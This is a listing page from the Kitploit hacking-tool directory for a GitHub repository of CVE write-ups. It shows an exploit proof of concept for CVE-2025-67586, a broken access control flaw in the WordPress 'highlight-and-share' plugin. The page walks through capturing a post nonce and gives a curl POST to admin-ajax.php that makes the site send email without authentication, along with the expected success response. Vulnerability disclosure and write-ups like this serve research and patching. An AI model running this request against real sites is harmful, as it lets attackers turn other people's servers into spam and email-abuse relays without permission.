Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE — writeups for (CVE-2025-67586, CVE-2025-67985, CVE-2025-67986) | Kitploit
Tools/GitHubGitHub/r0xtsec/cve
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubr0xtsec/cve

CVE

writeups for (CVE-2025-67586, CVE-2025-67985, CVE-2025-67986)

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE

Writeups for (CVE-2025-67586, CVE-2025-67985, CVE-2025-67986)

root@kitploit:~
--------------   CVE-2025-67586 Exploit PoC   --------------
  • Exploit Title: WordPress Plugin 5.2.0 - Broken Access Control
  • Software Link: https://wordpress.org/plugins/highlight-and-share/
  • Version: <= 5.2.0 (REQUIRED)
  • CVE: CVE-2025-67586

==> Description A broken access control vulnerability exists in a WordPress plugin developed by DLX Plugins. The plugin exposes an unauthenticated AJAX action that allows attackers to abuse the "Share via Email" functionality without proper permission checks.

An unauthenticated attacker can reuse a valid post nonce to trigger email sharing requests, leading to unauthorized email sending (email spam / abuse) without user authentication.

==> Privileges Required None (Unauthenticated)

==> Proof of Concept (PoC)

Step 1: Pick website with Installed Plugin

Step 2: Obtain a Valid Nonce

  1. Open a public post.
  2. Highlight text and click Share via Email.
  3. Open Developer Tools → Network → XHR.
  4. Send the email once.
  5. Capture the request containing: action=has_email_social_modal nonce= post_id=

Step 3: Exploit via Unauthenticated Request

bash cmd: (replace website URL, post URL, and nonce)

curl -s -i -X POST 'http://localhost/wp-admin/admin-ajax.php'
-d 'action=has_email_form_submission'
-d 'formData[postId]='
-d 'formData[permalink]=http://localhost/?p='
-d 'formData[nonce]='
-d 'formData[toEmail]=[email protected]'
-d 'formData[subject]=PoC'
-d 'formData[shareText]=POC test'
-d 'formData[emailShareType]=selection'
--compressed

--> Expected JSON response:

{ "success": true, "data": { "errors": false, "message_title": "This post has been shared!", "message_body": "You have shared this post with [email protected]", "message_subject": "[Shared Post] ", "message_source_name": "Site Name", "message_source_email": "[email protected]" } }

Download Tool